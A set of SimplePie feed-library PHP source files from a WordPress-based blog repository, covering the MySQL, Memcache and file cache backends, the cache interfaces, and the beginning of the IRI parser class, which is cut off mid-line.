} if (!in_array($this->options['extras']['prefix'] . 'items', $db)) { $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` TEXT CHARACTER SET utf8 NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))'); if ($query === false) { $this->mysql = null; } } } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($this->mysql === null) { return false; } if ($data instanceof SimplePie) { $data = clone $data; $prepared = self::prepare_simplepie_object_for_cache($data); $query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { if ($query->fetchColumn() > 0) { $items = count($prepared[1]); if ($items) { $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed'; $query = $this->mysql->prepare($sql); $query->bindValue(':items', $items); } else { $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed'; $query = $this->mysql->prepare($sql); } $query->bindValue(':data', $prepared[0]); $query->bindValue(':time', time()); $query->bindValue(':feed', $this->id); if (!$query->execute()) { return false; } } else { $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)'); $query->bindValue(':feed', $this->id); $query->bindValue(':count', count($prepared[1])); $query->bindValue(':data', $prepared[0]); $query->bindValue(':time', time()); if (!$query->execute()) { return false; } } $ids = array_keys($prepared[1]); if (!empty($ids)) { foreach ($ids as $id) { $database_ids[] = $this->mysql->quote($id); } $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { $existing_ids = array(); while ($row = $query->fetchColumn()) { $existing_ids[] = $row; } $new_ids = array_diff($ids, $existing_ids); foreach ($new_ids as $new_id) { if (!($date = $prepared[1][$new_id]->get_date('U'))) { $date = time(); } $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)'); $query->bindValue(':feed', $this->id); $query->bindValue(':id', $new_id); $query->bindValue(':data', serialize($prepared[1][$new_id]->data)); $query->bindValue(':date', $date); if (!$query->execute()) { return false; } } return true; } } else { return true; } } } else { $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { if ($query->rowCount() > 0) { $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed'); $query->bindValue(':data', serialize($data)); $query->bindValue(':time', time()); $query->bindValue(':feed', $this->id); if ($this->execute()) { return true; } } else { $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)'); $query->bindValue(':id', $this->id); $query->bindValue(':data', serialize($data)); $query->bindValue(':time', time()); if ($query->execute()) { return true; } } } } return false; } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); if ($query->execute() && ($row = $query->fetch())) { $data = unserialize($row[1]); if (isset($this->options['items'][0])) { $items = (int) $this->options['items'][0]; } else { $items = (int) $row[0]; } if ($items !== 0) { if (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]; } elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]; } elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]; } elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0])) { $feed =& $data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]; } else { $feed = null; } if ($feed !== null) { $sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC'; if ($items > 0) { $sql .= ' LIMIT ' . $items; } $query = $this->mysql->prepare($sql); $query->bindValue(':feed', $this->id); if ($query->execute()) { while ($row = $query->fetchColumn()) { $feed['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'][] = unserialize($row); } } else { return false; } } } return $data; } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); if ($query->execute() && ($time = $query->fetchColumn())) { return $time; } else { return false; } } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id'); $query->bindValue(':time', time()); $query->bindValue(':id', $this->id); if ($query->execute() && $query->rowCount() > 0) { return true; } else { return false; } } /** * Remove the cache * * @return bool Success status */ public function unlink() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); $query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id'); $query2->bindValue(':id', $this->id); if ($query->execute() && $query2->execute()) { return true; } else { return false; } } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Cache/MySQL.php
PHP
asf20
12,280
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Caches data to memcache * * Registered for URLs with the "memcache" protocol * * For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will * connect to memcache on `localhost` on port 11211. All tables will be * prefixed with `sp_` and data will expire after 3600 seconds * * @package SimplePie * @subpackage Caching * @uses Memcache */ class SimplePie_Cache_Memcache implements SimplePie_Cache_Base { /** * Memcache instance * * @var Memcache */ protected $cache; /** * Options * * @var array */ protected $options; /** * Cache name * * @var string */ protected $name; /** * Create a new cache object * * @param string $location Location string (from SimplePie::$cache_location) * @param string $name Unique ID for the cache * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data */ public function __construct($location, $name, $type) { $this->options = array( 'host' => '127.0.0.1', 'port' => 11211, 'extras' => array( 'timeout' => 3600, // one hour 'prefix' => 'simplepie_', ), ); $parsed = SimplePie_Cache::parse_URL($location); $this->options['host'] = empty($parsed['host']) ? $this->options['host'] : $parsed['host']; $this->options['port'] = empty($parsed['port']) ? $this->options['port'] : $parsed['port']; $this->options['extras'] = array_merge($this->options['extras'], $parsed['extras']); $this->name = $this->options['extras']['prefix'] . md5("$name:$type"); $this->cache = new Memcache(); $this->cache->addServer($this->options['host'], (int) $this->options['port']); } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($data instanceof SimplePie) { $data = $data->data; } return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']); } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { $data = $this->cache->get($this->name); if ($data !== false) { return unserialize($data); } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { $data = $this->cache->get($this->name); if ($data !== false) { // essentially ignore the mtime because Memcache expires on it's own return time(); } return false; } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { $data = $this->cache->get($this->name); if ($data !== false) { return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->duration); } return false; } /** * Remove the cache * * @return bool Success status */ public function unlink() { return $this->cache->delete($this->name, 0); } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Cache/Memcache.php
PHP
asf20
5,141
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Base for cache objects * * Classes to be used with {@see SimplePie_Cache::register()} are expected * to implement this interface. * * @package SimplePie * @subpackage Caching */ interface SimplePie_Cache_Base { /** * Feed cache type * * @var string */ const TYPE_FEED = 'spc'; /** * Image cache type * * @var string */ const TYPE_IMAGE = 'spi'; /** * Create a new cache object * * @param string $location Location string (from SimplePie::$cache_location) * @param string $name Unique ID for the cache * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data */ public function __construct($location, $name, $type); /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data); /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load(); /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime(); /** * Set the last modified time to the current time * * @return bool Success status */ public function touch(); /** * Remove the cache * * @return bool Success status */ public function unlink(); }
zyblog
trunk/zyblog/wp-includes/SimplePie/Cache/Base.php
PHP
asf20
3,452
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Base class for database-based caches * * @package SimplePie * @subpackage Caching */ abstract class SimplePie_Cache_DB implements SimplePie_Cache_Base { /** * Helper for database conversion * * Converts a given {@see SimplePie} object into data to be stored * * @param SimplePie $data * @return array First item is the serialized data for storage, second item is the unique ID for this item */ protected static function prepare_simplepie_object_for_cache($data) { $items = $data->get_items(); $items_by_id = array(); if (!empty($items)) { foreach ($items as $item) { $items_by_id[$item->get_id()] = $item; } if (count($items_by_id) !== count($items)) { $items_by_id = array(); foreach ($items as $item) { $items_by_id[$item->get_id(true)] = $item; } } if (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]; } elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]; } elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]; } elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0])) { $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0]; } else { $channel = null; } if ($channel !== null) { if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']); } if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item'])) { unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']); } } if (isset($data->data['items'])) { unset($data->data['items']); } if (isset($data->data['ordered_items'])) { unset($data->data['ordered_items']); } } return array(serialize($data->data), $items_by_id); } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Cache/DB.php
PHP
asf20
4,726
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Caches data to the filesystem * * @package SimplePie * @subpackage Caching */ class SimplePie_Cache_File implements SimplePie_Cache_Base { /** * Location string * * @see SimplePie::$cache_location * @var string */ protected $location; /** * Filename * * @var string */ protected $filename; /** * File extension * * @var string */ protected $extension; /** * File path * * @var string */ protected $name; /** * Create a new cache object * * @param string $location Location string (from SimplePie::$cache_location) * @param string $name Unique ID for the cache * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data */ public function __construct($location, $name, $type) { $this->location = $location; $this->filename = $name; $this->extension = $type; $this->name = "$this->location/$this->filename.$this->extension"; } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if (file_exists($this->name) && is_writeable($this->name) || file_exists($this->location) && is_writeable($this->location)) { if ($data instanceof SimplePie) { $data = $data->data; } $data = serialize($data); return (bool) file_put_contents($this->name, $data); } return false; } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { if (file_exists($this->name) && is_readable($this->name)) { return unserialize(file_get_contents($this->name)); } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { if (file_exists($this->name)) { return filemtime($this->name); } return false; } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { if (file_exists($this->name)) { return touch($this->name); } return false; } /** * Remove the cache * * @return bool Success status */ public function unlink() { if (file_exists($this->name)) { return unlink($this->name); } return false; } }
zyblog
trunk/zyblog/wp-includes/SimplePie/Cache/File.php
PHP
asf20
4,424
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.4-dev * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * General SimplePie exception class * * @package SimplePie */ class SimplePie_Exception extends Exception { }
zyblog
trunk/zyblog/wp-includes/SimplePie/Exception.php
PHP
asf20
2,187
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2009, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * SimplePie class. * * Class for backward compatibility. * * @deprecated Use {@see SimplePie} directly * @package SimplePie * @subpackage API */ class SimplePie_Core extends SimplePie { }
zyblog
trunk/zyblog/wp-includes/SimplePie/Core.php
PHP
asf20
2,268
<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @version 1.3.1 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * IRI parser/serialiser/normaliser * * @package SimplePie * @subpackage HTTP * @author Geoffrey Sneddon * @author Steve Minutillo * @author Ryan McCue * @copyright 2007-2012 Geoffrey Sneddon, Steve Minutillo, Ryan McCue * @license http://www.opensource.org/licenses/bsd-license.php */ class SimplePie_IRI { /** * Scheme * * @var string */ protected $scheme = null; /** * User Information * * @var string */ protected $iuserinfo = null; /** * ihost * * @var string */ protected $ihost = null; /** * Port * * @var string */ protected $port = null; /** * ipath * * @var string */ protected $ipath = ''; /** * iquery * * @var string */ protected $iquery = null; /** * ifragment * * @var string */ protected $ifragment = null; /** * Normalization database * * Each key is the scheme, each value is an array with each key as the IRI * part and value as the default value for that part. */ protected $normalization = array( 'acap' => array( 'port' => 674 ), 'dict' => array( 'port' => 2628 ), 'file' => array( 'ihost' => 'localhost' ), 'http' => array( 'port' => 80, 'ipath' => '/' ), 'https' => array( 'port' => 443, 'ipath' => '/' ), ); /** * Return the entire IRI when you try and read the object as a string * * @return string */ public function __toString() { return $this->get_iri(); } /** * Overload __set() to provide access via properties * * @param string $name Property name * @param mixed $value Property value */ public function __set($name, $value) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), $value); } elseif ( $name === 'iauthority' || $name === 'iuserinfo' || $name === 'ihost' || $name === 'ipath' || $name === 'iquery' || $name === 'ifragment' ) { call_user_func(array($this, 'set_' . substr($name, 1)), $value); } } /** * Overload __get() to provide access via properties * * @param string $name Property name * @return mixed */ public function __get($name) { // isset() returns false for null, we don't want to do that // Also why we use array_key_exists below instead of isset() $props = get_object_vars($this); if ( $name === 'iri' || $name === 'uri' || $name === 'iauthority' || $name === 'authority' ) { $return = $this->{"get_$name"}(); } elseif (array_key_exists($name, $props)) { $return = $this->$name; } // host -> ihost elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } // ischeme -> scheme elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } else { trigger_error('Undefined property: ' 